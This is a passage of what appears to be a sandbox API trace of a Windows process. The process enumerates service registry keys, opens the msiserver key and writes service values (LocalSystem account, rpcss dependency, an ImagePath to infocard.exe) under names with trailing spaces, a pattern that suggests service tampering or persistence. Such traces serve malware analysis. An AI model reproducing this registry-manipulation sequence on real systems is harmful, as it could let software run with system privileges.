hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0248.216] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0248.217] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0248.217] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0248.217] RegCloseKey (hKey=0x154) returned 0x0 [0248.217] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0248.217] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0248.217] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0248.218] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0248.218] RegCloseKey (hKey=0x80000002) returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0248.218] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.219] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.219] RegCloseKey (hKey=0x150) returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.219] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0248.219] RegCloseKey (hKey=0x154) returned 0x0 [0248.219] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.220] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.221] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.222] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.223] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.223] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0248.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0248.223] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.223] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.223] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.224] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.224] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.224] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.224] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.224] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.224] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.225] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.225] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0248.225] RegSetValueExA (in: hKey=0x154, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0248.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.226] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.227] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0248.227] RegSetValueExA (in: hKey=0x154, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.227] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0248.228] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0248.229] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0248.229] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication 